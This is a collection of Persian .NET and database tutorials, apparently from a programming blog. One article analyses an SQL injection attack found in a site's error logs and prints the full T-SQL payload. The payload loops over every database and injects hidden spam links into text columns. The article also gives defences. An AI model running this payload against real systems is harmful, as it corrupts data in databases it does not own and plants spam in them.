مطالب
تولید برنامه‌های متکی به خود مبتنی بر NET Core.
یکی از مزایای جالب فریم‌ورک NET Core. امکان پابلیش کردن اپلیکیشن‌ها به صورت Self-contained یا متکی به خود است. به این نوع توزیع (Self-Contained Deployment (SCD گفته می‌شود. در واقع منظور این است که بر روی سیستم مقصد، نیازی به نصب runtime خاصی نیست. بلکه کافی است اپلیکیشن‌تان را بر روی سیستم مقصد کپی کرده و آن را اجرا کنید. سیستم‌عامل مقصد نیز می‌تواند Windows, OSX و یا Linux باشد. در واقع در حین پابلیش اپلیکیشن‌های Self-contained، کل ران‌تایم NET. موردنیاز جهت اجرای اپلیکیشن نیز ارائه خواهد شد. نوع دیگر توزیع اپلیکیشن‌های دات‌نتی به صورت (FDD (Framework-Dependent Deployment می‌باشد. در این حالت تنها اپلیکیشن را توزیع خواهیم کرد؛ یعنی نیازی به ارائه ران‌تایم، در سیستم مقصد نیست. زیرا فرض بر این است که بر روی سیستم مقصد ران‌تایم موردنیاز از قبل نصب شده است.

مزایای SCD:
- نیازی به نصب NET Core. بر روی سیستم مقصد نیست
- همزمان بر روی سیستم مقصد می‌توانید اپلیکیشن‌هایی را که از نسخه‌های مختلف NET Core. استفاده می‌کنند، اجرا کنید

معایب SCD:
- حجم زیاد اپلیکیشن (برای یک پروژه خالی نزدیک به 50MB)
- تعداد کم RIDs - از این شناسه جهت تعیین سیستم‌عامل مقصد استفاده خواهد شد. مثلاً برای ابونتو این شناسه به صورت ubuntu.14.04-x86 و یا برای ویندوز این شناسه win7-x64 است. در واقع الگوی این شناسه‌ها به صورت [os].[version].[arch]  می‌باشند. سگمنت اول معرف نام سیستم‌عامل، سگمنت دوم معرف نسخه سیستم‌عامل و سگمنت آخر نوع معماری پردازنده می‌باشد: x86, x64, arm, arm64, … لیست کامل این RIDs را می‌توانید از اینجا مشاهده نمائید.

نکته: روش SCD یکسری از وابستگی‌ها را به همراه خود ارائه نمی‌دهد. در نتیجه باید قبل از توزیع، پیشنیازهای لازم را بر روی سیستم مقصد نصب نمائید.
در ادامه نحوه پابلیش یک اپلیکیشن مبتنی بر NET Core. را بر روی سیستم‌عامل Ubuntu بررسی خواهیم کرد.
برای شروع یک پروژه از نوع (Console Application (.NET Core ایجاد کنید. سپس فایل project.json را به صورت زیر تغییر دهید:
{
  "version": "1.0.0-*",
  "buildOptions": {
    "emitEntryPoint": true
  },

  "runtimes": {
    "ubuntu.16.04-x64": {}
  },

  "dependencies": {
    "Microsoft.NETCore.App": {
      "version": "1.1.0"
    }
  },

  "frameworks": {
    "netcoreapp1.1": {

    }
  }
}

همانطور که مشاهده می‌کنید imports از قسمت netcoreapp1.1 حذف گردیده است. همچنین "type="platform نیز حذف گردیده است؛ زیرا این قسمت تعیین خواهد کرد که نحوه توزیع اپلیکیشن به چه صورتی باشد (FDD, SCD)
همچنین درون قسمت runtime نیز RID مربوط به سیستم‌عامل ابونتو را اضافه کرده‌ایم.

پابلیش اپلیکیشن از طریق CLI
در ادامه دستورات زیر را به ترتیب برای بیلد و سپس پابلیش اپلکیشن برای RID تعیین شده وارد خواهیم کرد:


 اکنون اگر مسیر project}\bin\Release\netcoreapp1.1\ubuntu.16.04-x64}  را مشاهده کنید، خواهید دید که خروجی برای سیستم‌عامل موردنظر تولید شده است:


اکنون می‌توانید پوشه publish را به سیستم مقصد منتقل کرده و برای اجرای آن مراحل زیر را طی نمائید.


اجرای اپلیکیشن در سیستم‌عامل Ubuntu

برای اجرای اپلیکیشنی که در مرحله قبل ایجاد کردیم کافی است درون پوشه‌ایی که پروژه در آن قرار دارد فایل اجرایی اپلیکیشن را اجرا کنید:



در حین اجرای اپلیکیشن ممکن است با خطای bash: ./DntSCD: Permission denied  و یا خطای Failed to initialize CoreCLR, HRESULT: 0x8007001F  مواجه شوید. برای حل این مشکل کافی است مجوز لازم را به فایل اجرایی بدهید، تا مشکلی در اجرا اپلیکیشن نداشته باشد:



بخاطر داشته باشید که بر روی سیستم‌عامل Ubuntu هیچ runtimeی را نصب نکرده‌ایم. زیرا توزیع اپلیکیشن به صورت Self-Contained می‌باشد؛ یعنی تمامی پیش‌نیازهای لازم جهت اجرا اپلیکیشن همراه با خود اپلیکیشن ارائه شده است.


نکته: مراحل فوق تنها مختص به توزیع Console Application نیست، بلکه می‌توانید یک اپلیکیشن تحت وب را نیز به صورت SCD توزیع کنید:


مطالب
طراحی یک ماژول IpBlocker در ASP.NET MVC
همانطور که میدانید وب سایت‌های اینترنتی در معرض انواع و اقسام حملات قرار دارند و یکی از این حملات Dos است. در این نوشتار میخواهیم تکه کدی را ارائه دهیم، تا این نوع حملات را دفع نماید. همانطور که میدانید یک درخواست Http باید از ماژول‌های مختلفی عبور نماید تا به یک Http Handler برسد.
ابتدا باید یک Enum تعریف کنیم تا نوع درخواست کاربر را مشخص کند. مثلا 100 درخواست ابتدایی را به عنوان FirstVisite در نظر گرفته و اگر تعداد درخواستها از 100 گذشت، در دسته Revisit قرار میگیرند و ... . البته این بستگی به شما دارد که مقادیر را چقدر در نظر بگیرید؛ اما دقت کنید.
private enum VisiteType
        {
            FirstVisite = 2,
            Reviste = 4,
        }
در مرحله بعدی باید آدرس Ip بیننده سایت را بدست آورده وچک کنیم که این آدرس Ip در کش موجود هست یا خیر. اگر موجود بود مقدار متغیر hits را افزایش میدهیم و چک میکنیم که متغیر با کدام یک از مقادیر Enum برابری میکند و آن را در کش سیستم ذخیره میکنیم.
if (httpContext.Cache[ipAddress] != null)
                {
                    hits++;

                    if (hits == (int)VisiteType.FirstVisite)
                    {
                        httpContext.Cache.Insert(key: ipAddress,
                           value: hits,
                           dependencies: null,
                           absoluteExpiration: DateTime.UtcNow.AddSeconds(1),
                           slidingExpiration: Cache.NoSlidingExpiration);
                        return;
                    }
در تکه کد بالا چون درخواست به حد معین و معقولی رسیده است، آدرس بعد از یک ثانیه از کش حذف میشود. اما اگر درخواستهای غیرمعقولی به سرور ارسال شود، باید پاسخ را قطع و آدرس Ip را در کش ذخیره و این آدرس Ip باید به مدت معینی در کش مانده و بلاک شود.
using System;
using System.Net;
using System.Web;
using System.Web.Caching;

namespace IpBlocker
{
    public class IpBlocker : IHttpModule
    {
        private int hits = 0;
        /// <summary>
        /// Define enum to specify visite type
        /// </summary>
        private enum VisiteType
        {
            FirstVisite = 2,
            Reviste = 4,
        }
        public void Init(HttpApplication context)
        {
            context.BeginRequest += OnBeginRequest;
        }
        public void Dispose()
        {

        }

        public void OnBeginRequest(object sender, EventArgs e)
        {
            var httpApplication = sender as HttpApplication;
            var httpContext = httpApplication?.Context;
            ProcessRequest(httpApplication, httpContext);
        }

        private void ProcessRequest(HttpApplication application, HttpContext httpContext)
        {
            //Checke if browser is a search engine web crawler
            if (httpContext.Request.Browser.Crawler)
                return;

            var ipAddress = application.Context.Request.UserHostAddress;

            if (httpContext.Cache[ipAddress] == null)
            {
                // Reset hits for new request after blocking ip
                if (hits > 0)
                    hits = 0;

                hits++;

                httpContext.Cache.Insert(key: ipAddress,
                   value: hits,
                   dependencies: null,
                   absoluteExpiration: DateTime.UtcNow.AddSeconds(1),
                   slidingExpiration: Cache.NoSlidingExpiration);

                return;
            }          

            else
            {
                if (httpContext.Cache[ipAddress] != null)
                {
                    hits++;

                    if (hits == (int)VisiteType.FirstVisite)
                    {
                        httpContext.Cache.Insert(key: ipAddress,
                           value: hits,
                           dependencies: null,
                           absoluteExpiration: DateTime.UtcNow.AddSeconds(1),
                           slidingExpiration: Cache.NoSlidingExpiration);
                        return;
                    }

                    if (hits == (int)VisiteType.Reviste)
                    {

                        httpContext.Cache.Insert(key: ipAddress,
                           value: hits,
                           dependencies: null,
                           absoluteExpiration: DateTime.UtcNow.AddSeconds(1),
                           slidingExpiration: Cache.NoSlidingExpiration);
                        return;
                    }
                    if (hits > (int)VisiteType.Reviste)
                    {
                        httpContext.Cache.Insert(key: ipAddress,
                            value: hits,
                            dependencies: null,
                            absoluteExpiration: DateTime.UtcNow.AddMinutes(1),
                            slidingExpiration: Cache.NoSlidingExpiration);

                        httpContext.Response.StatusCode = (int)HttpStatusCode.Forbidden;
                        httpContext.Response.SuppressContent = true;
                        httpContext.Response.End();
                    }
                }
            }
        }
    }
}
در کد بالا محدودیت زمانی یک دقیقه در نظر گرفته شده است.

مطالب
اشیاء تغییر ناپذیر (Immutable Object)
کلمه‌ی mutable به معنای تغییر پذیر و کلمه‌ی immutable به معنای تغیر ناپذیر در زبان انگلیسی تعریف شده‌اند. در دنیای IT این دو واژه نیز همین معنا را دارند. بطور مثال: یک رشته‌ی mutable، یعنی رشته‌ای که بتوان آن را تغییر داد و یک رشته‌ی immutable یعنی رشته‌ای که غیر قابل تغییر است.



در حین مطالعه‌ی منابع مختلف درباره‌ی موضوع این مطلب، جمله‌ای را با این مضمون دیدم: برای ساخت کوزه، گل را تا مرطوب هست باید شکل داد. زمانیکه گل خشک شود، دیگر نمی‌توان کوزه را تغییر شکل داد. اشیاء تغییر ناپذیر هم به همین شکل هستند. بعد از ایجاد این اشیاء، دیگر نمی‌توان به هیچ وجه آنها را تغییر داد.

تعریف اشیاء تغییر ناپذیر (Immutable Objects) :
این اشیاء، اشیائی هستند که بعد از بارگزاری در حافظه، به هیچ وجه نمی‌توانند اصلاح و یا تغییر کنند. نه از طریق خارجی (کاربران External) و نه از طریق داخلی (اعضای کلاس Internal).

چه زمانی از این اشیاء استفاده می‌کنیم؟
اشیاء تغییر ناپذیر برای داده‌های استاتیک استفاده می‌شوند و نمونه‌هایی از آن در بخش زیر لیست شده‌اند:

 • داده‌های اصلی (Master Data): یکی از بیشترین کاربرد‌های اشیاء تغییر ناپذیر، برای بارگذاری داده‌های اصلی است (کشور‌ها، واحد‌های پولی، استان ها) و داده‌هایی که به ندرت تغییر می‌کنند. این داده‌های اصلی بعد از بارگزاری در حافظه، دیگر تغییر نخواهند کرد.

 • اطلاعات پیکره‌بندی (Configuration Data): همه‌ی برنامه‌ها نیاز به اطلاعات پیکره‌بندی دارند. در دنیای برنامه‌های مایکروسافت، عموما این اطلاعات پیکره بندی را در فایل‌های web.config و App.config ذخیره می‌کنیم. این نوع اطلاعات بصورت یک شیء در حافظه بارگذاری می‌شوند و بعدا تغییر نخواهند کرد.

 • اشیاء Singleton: اشیاء singleton اشیائی هستند که تنها یک نمونه از آنها را می‌توان ایجاد کرد. در برنامه‌ها از این اشیاء برای اشتراک گذاشتن اطلاعات استاتیک استفاده می‌کنند. اگر این اطلاعات تغییر نکنند، یکی از گزینه‌ها، استفاده از اشیاء تغییر ناپذیر هستند.

چگونه می‌توان در سی شارپ اشیاء تغییر ناپذیر را ایجاد کنیم؟

اشیاء تغییر ناپذیر (immutable objects) تنها توسط کلاس‌های تغییر ناپذیر (immutable classes) می‌توانند ایجاد شوند.
برای ایجاد کلاسی تغییر ناپذیر، سه مرحله باید طی شود:
 1- حذف بلاک Set: همانطور که گفته شد، بخش Set از property ‌ها باید حذف شود. با حذف این بخش بعد از بارگزاری شیء در حافظه، دیگر نمی‌توان آن را تغییر داد:
public class Currency
{
  private string _currencyName;
  private string _countryName;

  public string CurrencyName
  {
     get { return _currencyName; }
  }

  public string CountryName
  {
     get { return _countryName; }
  }
}

 2- مهیا کردن پارامتر‌ها از طریق سازنده‌ی کلاس: با حذف بلاک set، راهی برای بارگزاری اطلاعات، در کلاس وجود ندارد. از این رو می‌توان از طریق پارامتر‌های سازنده‌ی کلاس، اطلاعات را به شیء ارسال کرد.
  private string _currencyName;
  private string _countryName;
  public Currency(string paramCurrencyName,string paramCountryName)
  {
     _currencyName= paramCurrencyName;
     _countryName = paramCountryName;
  }

 3- تعریف متغیر‌های کلاس به صورت فقط خواندنی READONLY
در تعریف اولیه گفته شد که اشیاء immutable نه از طریق خارجی (کاربر) و «کمی فراتر» نه از طریق داخلی (اعضای کلاس) قابل تغییر نیستند. اما کلاس ایجاد شده را می‌توان بعد از ایجاد نمونه‌ای از آن، مجددا تغییر داد. کافی است یک متد به شکل زیر در آن تعریف کنیم و به‌راحتی وضعیت شیء را از طریق آن تغییر دهیم.
  public void DoSomthing()
  {
     _countryName = "somthing else";
  }

راه حل ارائه شده‌ی برای حل این موضوع، معرفی متغیر‌ها به صورت readonly می‌باشد. متغیرهایی که بصورت فقط خواندنی تعریف می‌شوند، تنها از طریق سازنده‌ی شیء می‌توانند مقداردهی اولیه شوند.
باز طراحی نهایی کلاس Currency  به صورت زیر است:
 public class Currency
{
  private readonly string _currencyName;
  private readonly string _countryName;
  public string CurrencyName
  {
    get { return _currencyName; }
  }

  public string CountryName
  {
    get { return _countryName; }
  }
  public Currency(string paramCurrencyName,string paramCountryName)
  {
     _currencyName= paramCurrencyName;
     _countryName = paramCountryName;
  }
}
مطالب
نمونه‌ای از تزریق اس کیوال جهت درج تبلیغات مخفی شده‌ی در رکوردهای سایت
مدتی هست در لاگ‌های ELMAH سایت، یک چنین تزریق‌های اس کیوال ناموفقی مشاهده می‌شوند:


اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی ("div style="display:none) که داخل آن‌ها تبلیغات یک سری سایت‌های کذایی وجود دارند، اضافه شده‌اند، حتما مورد حمله‌ی SQL Injection فوق واقع شده‌اید.

مواردی را که باید بررسی کنید:
الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آن‌را به عنوان پارامتر سازنده‌ی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف می‌شود:


ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره می‌کنید؟
با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئری‌های غیرپارامتری و یا از ORMها استفاده نمی‌کنید.

ج) آیا به محتوای دریافت شده‌ی از طریق کوئری استرینگ‌ها دقت دارید؟
این مورد نیز همانند حالت ب است.


بررسی ساختار این حمله

کوئری ارسالی (البته با حذف آدرس سایت‌های کذایی آن)، یک چنین فرمتی را دارد:
DECLARE @b AS CURSOR;

DECLARE @s AS VARCHAR (8000);

DECLARE @w AS VARCHAR (99);

SET @b = CURSOR
    FOR SELECT DB_NAME()
        UNION
        SELECT name
        FROM   sys.databases
        WHERE  (has_dbaccess(name) != 0)
               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());

OPEN @b;

FETCH NEXT FROM @b INTO @w;

WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
        EXECUTE (@s);
        FETCH NEXT FROM @b INTO @w;
    END

CLOSE @b;
در اینجا ابتدا لیست بانک‌های اطلاعاتی موجود دریافت می‌شوند. سپس با استفاده از try/catch سعی در به روز رسانی رکوردهای جداولی که دارای فیلدهایی از نوع varchar یا nvarchar از نوع max هستند، می‌کند. از try/catch هم به این دلیل استفاده کرده‌است که در یک سایت اشتراکی، شما فقط به بانک اطلاعاتی خودتان دسترسی دارید و البته اگر از کاربر sa استفاده می‌کنید که ... هم اکنون تمام بانک‌های اطلاعاتی شما آلوده شده‌اند!
به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آن‌ها درج می‌کند.
مطالب
کپی کردن ساختار و داده‌های یک جدول از یک دیتابیس به دیتابیسی دیگر
در مواقعی ممکن است نیاز داشته باشیم که جدول یا جدول‌هایی از یک پایگاه داده را به یک پایگاه داده دیگر انتقال دهیم. در این مقاله قصد داریم روند انجام این کار را هم به صورت کوئری و هم به صورت ویزارد(گرافیکی) انجام دهیم.

برای شروع کار ابتدا دو دیتابیس به اسم‌های databasefrm و databaseto می‌سازیم. دیتابیس databasefrm شامل یک جدول به اسم emp با سه فیلد ID,Name,Address می‌باشد. قصد داریم جدول tmp از دیتابیس databasefrm را به دیتابیس databaseto انتقال دهیم. برای انجام این کار، یکی از روش‌های زیر را استفاده خواهیم کرد:

روش 1 : استفاده از کوئری

ساختار کلی انجام این عمل به صورت زیر خواهد بود:
Select * into DestinationDB.dbo.tableName from SourceDB.dbo.SourceTable
مثال :
select * into databaseto.dbo.emp from databasefrm.dbo.Emp
با اجرای دستور فوق یک کپی از جدول emp به همراه تمامی داده‌های آن به دیتابیس databaseto منتقل و ایجاد می‌شوند. اگر بخواهیم تمامی ایندکس‌ها، تریگر‌ها و قید‌ها (Constraint) نیز منتقل شوند، برای اینکار نیاز به تولید یک اسکریپت خواهد بود (در ادامه).

حال اگر بخواهیم یک کپی از  جدول را در دیتابیس جاری ایجاد کنیم، ساختار آن به صورت زیر خواهد بود  :
select * into newtable from SourceTable
که نمونه ای از آن برای دیتابیس ما به صورت زیرخواهد بود :
 select * into  emp1 from emp

می‌توانیم فقط فیلدهایی مشخص را به جدول دیگر کپی کنیم. برای انجا این کار کافیست به جای *  اسم فیلد‌های مورد نیاز را نوشت که ساختار دستوری آن به صورت زیر است :
select col1, col2 into <destination_table> from <source_table>
که برای مثال ما به صورت زیر خواهد بود :
select Id,Name into databaseto.dbo.emp1 from databasefrm.dbo.Emp

بعد از اجرای کوئری فوق نتیجه به صورت زیر خواهد بود :

کد فوق باعث کپی کردن فیلد‌های Id,Name شده است.

اگر بخواهیم فقط ساختار جدول را کپی کنیم روند کار به صورت زیر خواهد بود :

select *into <destination_database.dbo.destination table> from _
<source_database.dbo.source table> where 1 = 2
که نمونه ای از آن برای مثال ما به صورت زیر خواهد بود :
select * into databaseto.dbo.emp from 
databasefrm.dbo.emp where 1 = 2
کاربرد where در دستور فوق برای این است که عنوان فیلد‌ها را بگیریم و در جدول دیگری ذخیره کنیم.

نکته: هر وقت نیاز بود که فقط فیلد‌های یک جدول را دریافت کنید، می‌تواند از کدی همانند فوق استفاده کنید؛ با یک شرط که همیشه false برگرداند. ولی راه بهتری که توصیه میکنم استفاده از Top در دستور  Select می‌باشد. نمونه‌ای از دستور فوق:
select top(0) * into databaseto.dbo.emp from 
databasefrm.dbo.emp
همانطور که مشاهده می‌کنید دیگر در دستور فوق خبری از where نیست.

روش 2: ویزارد

جهت تهیه کارهای فوق به صورت ویزارد، به صورت خلاصه فقط به روند انجام کار بسنده می‌کنیم:
1- SSMS را باز کنید.
2- بر روی دیتابیس مورد نظر کلیک راست کرده و از منوی ظاهر شده Task را انتخاب نموده و در کادر بازشو Export data را انتخاب کنید.
3- در پنجره‌ی ظاهر شده بر روی دکمه next کلیک کرده و در پنجره بعدی، نوع اعتبار سنجی را انتخاب کرده و دیتابیس مورد نظر را انتخاب نمایید (databasefrm).
4- همانند مرحله 3 است با این تفاوت که اینبار دیتابیس مقصد را انتخاب می‌کنیم (databaseto).
5- در پنجره‌ی بعدی گزینه اول را انتخاب کرده (copy data from ...) و بعد از کلیک بر روی next در پنجره ظاهر شده، جدول یا جداول مورد نظر را انتخاب کنید.

روش 3 : تولید اسکریپت

 
با استفاده از دو روش فوق فقط می‌توانستیم ساختار جداول و داده‌های آن را انتقال بدهیم. برای انتقال کامل جداول مثل تریگرها، قیدها و ... می‌بایست از جدول یا جداول اسکریپت تولید و در نهایست اسکریپت را اجرا نماییم.
Right click on datbase >>Task>>Generate script>>next

انتخاب دیتابیس مورد نظر و بعد انتخاب مواردی که قصد داریم از آنها اسکریپت ایجاد کنیم و در پایان اسکریپت مورد نظر را بر روی دیتابیس مقصد (databaseto) اجرا می‌کنیم.

و در پایان نهایت تشکر را از تمام عزیزان و دوستان نویسنده‌ی سایت دارم. امیدوارم در سال 94 شاهد موفقیت‌های خوبی در حوزه‌ی نرم افزار باشیم.
مطالب
MongoDB #3

محیط MongoDB

نصب MongoDB در ویندوز

برای نصب MongoDB در ویندوز، اول باید آخرین نسخه MongoDB را از آدرس http://www.mongodb.org/downloads دریافت کنید. مطمئن شوید که نسخه‌ی صحیحی از MongoDB را نسبت به معماری ویندوزتان دریافت کرده‌اید. برای پیدا کردن معماری ویندوز، پنجره‌ی Command Prompt را باز کنید و دستور زیر را اجرا کنید:

C:\>wmic os get osarchitecture
OSArchitecture
64-bit
C:\>

نسخه‌های 32بیتی MongoDB فقط پایگاه داده‌های کوچکتر از 2 گیگابایت را پشتیبانی می‌کنند و صرفا برای تست و ارزیابی مناسب هستند. اکنون فایل دریافتی را نصب کنید. MongoDB یک پوشه داده، برای ذخیره فایل‌هایش نیاز دارد. مسیر پیش فرض پوشه داده c:\data\db است؛ بنابراین نیاز دارید این پوشه را بسازید. شما می‌توانید یک مسیر دیگر را نیز برای مسیر داده تنظیم کنید. برای انجام این کار، Command Prompt را در پوشه bin (در مسیر نصب شده MongoDB) باز کنید و دستور زیر را اجرا کنید: (فرض کنید MongoDB در مسیر D:\set up\mongodb  نصب شده است)

D:\set up\mongodb\bin>mongod.exe --dbpath "d:\set up\mongodb\data"

بعد از اجرای دستور، پیام “waiting for connections” در کنسول نمایش داده می‌شود که نشان دهنده‌ی این است که پروسه Mongod.exe با موفقیت اجرا شده است. حالا برای اجرای MongoDB یک Command Prompt دیگر نیاز دارید تا دستور زیر را اجرا کنید:

D:\set up\mongodb\bin>mongo.exe
MongoDB shell version: 2.6.6
connecting to: test

>db.test.save( { a: 1 } )
>db.test.find()
{ "_id" : ObjectId(5879b0f65a56a454), "a" : 1 }
>

این دستور نشان خواهد داد که MongoDB نصب و با موفقیت اجرا شده‌است. برای اجرای MongoDB در دفعات بعدی نیز همین 2 مرحله را تکرار کنید (تعیین مسیر پوشه داده و اجرای Mongo.exe در یک Command Prompt دیگر).


نصب MongoDB در اوبونتو

دستور زیر را برای وارد کردن کلید GPG عمومی MongoDB در ترمینال اجرا کنید:

sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10

فایل /etc/apt/sources.list.d/mongodb.list را با دستور زیر بسازید:

echo  'deb  http://downloads-distro.mongodb.org/repo/ubuntu-upstart  dist  10gen'  |  sudo  tee 
/etc/apt/sources.list.d/mongodb.list

اکنون دستور زیر را برای بروز رسانی مخازن پکیج‌ها اجرا کنید:

sudo apt-get update

حالا MongoDB را با استفاده از دستور زیر نصب کنید:

apt-get install mongodb-10gen=2.2.3

در دستور نصب فوق، به نسخه‌ی 2.2.3 از MongoDB انتشار شده است. همیشه مطمئن شوید که آخرین نسخه را نصب کرده اید. اکنون MongoDB با موفقیت نصب شده است.

راه اندازی MongoDB

sudo service mongodb start


متوقف کردن MongoDB

sudo service mongodb stop


راه اندازی مجدد MongoDB

sudo service mongodb restart


برای استفاده از MongoDB از دستور زیر استفاده کنید:

Mongo


این دستور شما را به نمونه‌ی در حال اجرای Mongod متصل خواهد کرد.


راهنمای MongoDB

برای دریافت لیست دستورات، ()db.help را در نسخه کلاینت MongoDB تایپ کنید. این دستور، لیست دستورات را مانند تصویر زیر به شما می‌دهد: 


آمار و ارقام در MongoDB

برای گرفتن آمار و ارقام از MongoDB سرور، دستور ()db.stats را در نسخه کلاینت MongoDB تایپ کنید. این دستور نام پایگاه داده، تعداد مجموعه‌ها و سندهای موجود در پایگاه داده را نمایش می‌دهد:

مطالب
یک دست سازی ی و ک در برنامه‌های Entity framework 6
تا قبل از EF 6 برای طراحی یک سیستم عمومی تغییر مقادیر ثبت شده در بانک اطلاعاتی، می‌شد با استفاده از امکانات توکار Tracking آن، مقادیر تغییر کرده را یافت و برای مثال ی و ک آن‌ها را پیش از درج در بانک اطلاعاتی، یک دست کرد. در EF 6 با معرفی یک سری interceptor می‌توان به مراحل پیش و پس از اجرای کوئری‌ها دسترسی پیدا کرد. عمده‌ترین کاربرد آن، لاگ کردن SQLهای تولیدی و نوشتن برنامه‌هایی شبیه به EF Profiler است. اما ... استفاده‌ی دیگری را نیز می‌توان از IDbCommandInterceptor جدید آن تدارک دید: دستکاری SQL تولیدی توسط آن پیش از اعمال به بانک اطلاعاتی.

طراحی یک Interceptor برای یک دست سازی ی و ک

در اینجا کدهای کلاس YeKeInterceptor را ملاحظه می‌کنید. در متدهایی که به کلمه‌ی Executing ختم می‌شوند، می‌توان به دستورات SQL تولید شده توسط EF، پیش از اعمال بر روی بانک اطلاعاتی دسترسی داشت:
    public class YeKeInterceptor : IDbCommandInterceptor
    {
        public void ReaderExecuting(DbCommand command, DbCommandInterceptionContext<DbDataReader> interceptionContext)
        {
            command.ApplyCorrectYeKe();
        }

        public void NonQueryExecuted(DbCommand command, DbCommandInterceptionContext<int> interceptionContext)
        {
        }

        public void NonQueryExecuting(DbCommand command, DbCommandInterceptionContext<int> interceptionContext)
        {
            command.ApplyCorrectYeKe();
        }

        public void ReaderExecuted(DbCommand command, DbCommandInterceptionContext<DbDataReader> interceptionContext)
        {
        }

        public void ScalarExecuted(DbCommand command, DbCommandInterceptionContext<object> interceptionContext)
        {
        }

        public void ScalarExecuting(DbCommand command, DbCommandInterceptionContext<object> interceptionContext)
        {
            command.ApplyCorrectYeKe();
        }
    }
DbCommand، حاوی تمام اطلاعاتی است که به آن نیاز داریم؛ شامل CommandText یا همان SQL تولید شده و همچنین command.Parameters برای دسترسی به مقادیر پارامترهای کوئری. نکته‌ی مهم تمام این موارد، قابل ویرایش بودن آن‌ها است.
    public static class YeKe
    {
        public const char ArabicYeChar = (char)1610;
        public const char PersianYeChar = (char)1740;

        public const char ArabicKeChar = (char)1603;
        public const char PersianKeChar = (char)1705;

        public static string ApplyCorrectYeKe(this object data)
        {
            return data == null ? null : ApplyCorrectYeKe(data.ToString());
        }

        public static string ApplyCorrectYeKe(this string data)
        {
            return string.IsNullOrWhiteSpace(data) ?
                        string.Empty :
                        data.Replace(ArabicYeChar, PersianYeChar).Replace(ArabicKeChar, PersianKeChar).Trim();
        }

        public static void ApplyCorrectYeKe(this DbCommand command)
        {
            command.CommandText = command.CommandText.ApplyCorrectYeKe();

            foreach (DbParameter parameter in command.Parameters)
            {
                switch (parameter.DbType)
                {
                    case DbType.AnsiString:
                    case DbType.AnsiStringFixedLength:
                    case DbType.String:
                    case DbType.StringFixedLength:
                    case DbType.Xml:
                        parameter.Value =   parameter.Value is DBNull ? parameter.Value : parameter.Value.ApplyCorrectYeKe();
                        break;
                }
            }
        }
    }
در اینجا پیاده سازی متد الحاقی ApplyCorrectYeKe را که در کلاس YeKeInterceptor مورد استفاده قرار گرفت، ملاحظه می‌کنید.
در آن، CommandText و همچنین parameter.Valueها در صورت رشته‌ای بودن، اصلاح می‌شوند.
سربار این روش نسبت به روش‌های پیشین استفاده از Reflection کمتر است. همچنین اشیاء پیچیده و تو در تو را نیز بهتر پشتیبانی می‌کند؛ چون در مرحله Executing، کار پردازش این اشیاء پایان یافته و SQL خام نهایی آن در اختیار ما است.


نحوه‌ی استفاده از YeKeInterceptor

در آغاز برنامه (برای مثال متد Application_Start فایل Global.asax.cs برنامه‌های MVC )، سطر زیر را فراخوانی کنید:
 DbInterception.Add(new YeKeInterceptor());

یک مثال کامل برای دریافت
Sample32.cs
مطالب
پیاده سازی InstanceProvider برای سرویس های WCF
اگر قصد داشته باشیم که تزریق وابستگی (Dependency Injection) را برای سرویس‌های WCF پیاده سازی کنیم نیاز به یک  Instance Provider  سفارشی داریم. در ابتدا باید سرویس‌های مورد نظر را در یک Ioc Container رجیستر نماییم سپس با استفاده از InstanceProvider عملیات وهله سازی از سرویس‌ها همراه با تزریق وابستگی انجام خواهد گرفت. فرض کنید سرویسی به صورت زیر داریم:
[ServiceBehavior( IncludeExceptionDetailInFaults = true)]
    public class BookService : IBookService
    {
        public BookService(IBookRepository bookRepository)
        {
            Repository = bookRepository;    
        }

        public IBookRepository Repository 
        {
            get;
            private set;
        }

        public IList<Entity.Book> GetAll()
        {
            return Repository.GetAll();
        }
     
    }
همانطور که می‌بینید برای عملیات وهله سازی از این سرویس نیاز به تزریق کلاس BookRepository  است که این کلاس باید ابنترفیس IBookRepository را پیاده سازی کرده باشد. برای این که Instance Provider  ما بتواند عملیات تزریق وابستگی را به درستی انجام دهد، ابتدا باید BookRepository و BookService را به یک IocContainer (در این جا از الگوی ServiceLocator و UnityContainer   استفاده کردم) رجیستر نماییم . به صورت زیر:

var container = new UnityContainer();

      container.RegisterType<IBookRepository, BookRepository>();
      container.RegisterType<BookService, BookService>();

ServiceLocator.SetLocatorProvider(new ServiceLocatorProvider(() => { return container; }));
حال باید InstanceProvider را به صورت  زیر ایجاد نمایم:
 public class UnityInstanceProvinder : IInstanceProvider
    {
        private Type serviceType;

        public UnityInstanceProvinder( Type serviceType )
        {
            this.serviceType = serviceType;
        }

        public object GetInstance( InstanceContext instanceContext, Message message )
        {            
            return ServiceLocator.Current.GetInstance( serviceType );
        }

        public object GetInstance( InstanceContext instanceContext )
        {
            return GetInstance( instanceContext, null );
        }

        public void ReleaseInstance( InstanceContext instanceContext, object instance )
        {
            if ( instance is IDisposable )
            {
                ( ( IDisposable )instance ).Dispose();
            }
        }
    }

